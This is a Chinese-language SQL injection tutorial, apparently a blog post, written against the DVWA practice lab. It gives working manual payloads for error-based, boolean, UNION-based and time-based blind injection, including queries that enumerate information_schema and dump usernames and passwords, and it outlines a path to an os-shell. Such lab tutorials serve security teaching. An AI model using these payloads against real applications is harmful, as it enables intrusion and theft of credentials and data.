一、SQL注入流程

1、判断是否有SQL注入漏洞(检测)

2、判断操作系统、数据库和web应用类型

3、获取数据库信息,包括管理员信息及拖库

4、加密信息破解,sqlmap可自动破解

5、提升权限,获得sql-shell、os-shell、登录应用后台

二、SQL注入类型(手动)

1、基于错误的注入

错误注入的思路是通过构造特殊的sql语句,根据得到的错误信息,确认sql注入点

通过数据库报错信息,也可以探测到数据库的类型和其他有用信息(可能能得到)

通过输入英文单引号,触发数据库异常,通过异常日志诊断数据库类型(可能能得到语法错误信息)

SQL注入语句解析:

select first_name,last_name from dvwa.users where user_id='1';   --输入1

select first_name,last_name from dvwa.users where user_id=''';    --输入'

PS:SQL注入检测

2、基于布尔的注入

布尔逻辑注入的思想是闭合SQL语句、构造or和and逻辑语句、注释多余的代码。MySQL的注释标识符有两种:--、#

SQL注入语句解析:' or 1=1 --

select first_name,last_name from dvwa.users where user_id='     ' or 1=1 -- '

说明:

第一个'用于闭合前面的条件

or 1=1 为真的条件

--或者#将注释后面的所有语句

3、基于UNION的注入

UNION语句用于联合前面的SELECT查询语句,合并查询更多的信息;

一般通过错误和布尔注入确定注入点之后,便开始通过union语句来获取有效信息。

//猜测数据列数(方法1)

' union select 1 --    查询失败

' union select 1,2 --  查询成功

' union select 1,2,3 --  查询失败

//猜测数据列数(方法2)

1' or 1=1 order by 1 #    查询成功

1' or 1=1 order by 2 #    查询成功

1' or 1=1 order by 3 #    查询失败

以上两个猜测可以确认执行的SQL查询语句中只有两个字段,即这里的first_name、last_name

SQL注入语句解析:猜字段sql

select first_name,last_name from dvwa.users where user_id='     ' union select 1 -- '

select first_name,last_name from dvwa.users where user_id='     ' union select 1,2 -- '

select first_name,last_name from dvwa.users where user_id='     ' union select 1,2,3 -- '

//获取当前数据库及用户信息

'union select version(),database() --'

'union select user(),database() --'

SQL注入语句解析:

select first_name,last_name from dvwa.users where user_id='     ' union select version(),database() -- '

select first_name,last_name from dvwa.users where user_id='     ' union select user(),database() -- '

说明:

version()获取数据库版本信息

database()获取当前数据库名

user()获取当前用户名

//查询数据库中的所有表

information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式;

元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息

SQL注入语句解析:

select * from information_schema.TABLES\G

//查询所有库名

'union select TABLE_SCHEMA,1 from information_schema.TABLES --

select first_name,last_name from dvwa.users where user_id='     ' union select TABLE_SCHEMA,1 from information_schema.TABLES -- '

//查询所有库中所有表名

'union select TABLE_NAME,1 from information_schema.TABLES --

select first_name,last_name from dvwa.users where user_id='     ' union select TABLE_NAME,1 from information_schema.TABLES -- '

//同时查询表名及对应库名

'union select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES --

select first_name,last_name from dvwa.users where user_id='     ' union select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES -- '

//原始语句

select first_name,last_name from dvwa.users where user_id='$id'

//查询数据列

'union select column_name,1 from information_schema.COLUMNS where table_name='users'  --

select first_name,last_name from dvwa.users where user_id='     ' union select column_name,1 from information_schema.COLUMNS where table_name='users'  --

//查询数据列

'union select NULL,user from users  --'

'union select NULL,password from users  --'

'union select user,password from users  --'

'union select user,concat(first_name,'  ',last_name,'  ',user) from users  --'

SQL语句解析:

select first_name,last_name from dvwa.users where user_id='     'union select NULL,user from users  --'

select first_name,last_name from dvwa.users where user_id='     'union select NULL,password from users  --'

select first_name,last_name from dvwa.users where user_id='     'union select user,password from users  --'

select first_name,last_name from dvwa.users where user_id='     'union select user,concat(first_name,'  ',last_name,'  ',user) from users  --'

4、基于时间的盲注

有些情况数据输入之后,结果并不会回显到前端界面,此时,通过设置sleep语句来探测注入点

1' and sleep(8) --'

SQL注入语句解析:

select first_name,last_name from dvwa.users where user_id='1' and sleep(8) --'

PS:SQL注入检测

三、SQL注入检测(手动)

SQL注入的检测方法:基于错误的注入和基于时间的盲注

SQL注入:SQL注入类型(手动)SQL注入的检测相关推荐

  1. 【转】基于SQL的Web系统安全防范——SQL注入漏洞

    攻击研究及防范措施 SQL-Based Web System Security--Structured Query Language InjectionLeak Attack Study And De ...

  2. spring注入私有字段_Spring字段依赖注入示例

    spring注入私有字段 了解如何编写Spring Field Injection示例 . 字段注入是Spring框架 依赖注入的一种 . 在本教程中,我们将编写几个类,并看一看现场注入工程. 有关S ...

  3. SQL注入攻击及防御 手动注入+sqlmap自动化注入实战(网络安全学习12)

    CONTENTS 1 项目实验环境 2 SQL注入概述 2.1 SQL注入简介 2.2 SQL注入的危害 3 SQL基础回顾 3.1 联合查询union 3.2 information_schema数 ...

  4. WAF——针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入、XSS跨站、Webshell上传、命令注入、非法HTTP协议请求、非授权文件访问等...

    核心概念 WAF Web应用防火墙(Web Application Firewall),简称WAF. Web攻击 针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入.XSS跨站.Websh ...

  5. mysql sql注入很常用_常见sql注入的类型

    这里只讲解sql注入漏洞的基本类型,代码分析将放在另外一篇帖子讲解 目录 最基础的注入-union注入攻击 Boolean注入攻击-布尔盲注 报错注入攻击 时间注入攻击-时间盲注 堆叠查询注入攻击 二 ...

  6. 《小迪安全》第14天 SQL注入:注入类型及提交注入

    目录 注入前需要明确 数据库类型 请求方法 数据类型 演示案例 参数字符型注入测试:sqlilabs less 5 6 POST数据提交注入测试:sqlilabs less 11 COOKIE数据提交 ...

  7. 小迪安全第14天 web漏洞,SQL注入之类型及提交注入

    14 web漏洞,SQL注入之类型及提交注入 ​ 在真实 SQL 注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取, 后续安全测试中我们也 ...

  8. 初学SQL 注入之常见的几种注入类型

    SQL注入原理 老生常谈,SQL注入攻击的本质就是把用户输入的参数当做SQL语句来执行,Web应用程序对用户输入数据的合法性没有判断和过滤,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作. ...

  9. 一篇文章彻底学懂SQL注入(包含基础数据库句法、SQL注入原理以及所有常见SQL注入类型以及绕过手法)

    文章目录 前言 认识数据库 基本术语 select 语句 SQL where 子句 and & or 对数据进行过滤 order by 排序 insert into 向表中插入新记录 upda ...

  10. 为什么preparedstatement能防止sql注入_使用Python防止SQL注入攻击的实现示例

    文章背景 每隔几年,开放式Web应用程序安全项目就会对最关键的Web应用程序安全风险进行排名.自第一次报告以来,注入风险高居其位!在所有注入类型中,SQL注入是最常见的攻击手段之一,而且是最危险的.由 ...

最新文章

  1. linux内核自解压,Linux的初始内核自解压分析
  2. 机房收费系统--登录窗体
  3. Qt Creator 运行s60 Emulator
  4. JAVA判断输入的是数字、字符还是汉字
  5. wxWidgets:向后兼容
  6. vscode安装和使用
  7. 利用JNative实现Java调用动态库
  8. .Net Core DI,如何在程序集中注册所有现有的可分配类型
  9. 华为手机连电脑_移动办公利器华为MatePad Pro:能写会画有键盘,能当电脑连手机...
  10. 数据科学家在“新常态”下发生了怎样的转变?
  11. linux中的设备名称和设备号
  12. 外贸软件如何提升出口流程管理效率
  13. 电商扣减库存_电商后台系统产品逻辑全解析
  14. 删除安卓7.1源码中自带的Japanese IME输入法
  15. 制造业干货,只需3步,快速提高产品良率!
  16. 在c语言中 函数的作用是什么,C语言程序中函数的定义
  17. express框架实现文件上传、下载及推送(使用Websocket)
  18. 阿里云集群服务器的正确搭建
  19. 单独招生计算机笔试是考什么,单招考试考什么内容 单招一般考什么科目
  20. Redis 的 RDB 和 AOF

热门文章

  1. 移动硬盘安装centos8
  2. 电声乐器的演奏特征与制作技巧-----(3)吉他篇
  3. Java批量高效压缩支持加解密支持所有压缩格式(Zip/7z/rar)
  4. CSAPP HITICS 大作业 hello's P2P by zsz
  5. 关于CSI的一条龙服务
  6. Java小白浅浅浅谈阿里巴巴中台战略思想
  7. 强势增长的中国半导体封装企业,已站在“起跑线”上
  8. 【转载】什么是公网IP、内网IP和NAT转换?
  9. 国外邮箱安全性排名,国外邮箱哪个安全好用?
  10. FastReport 金额大小写转换自定义函数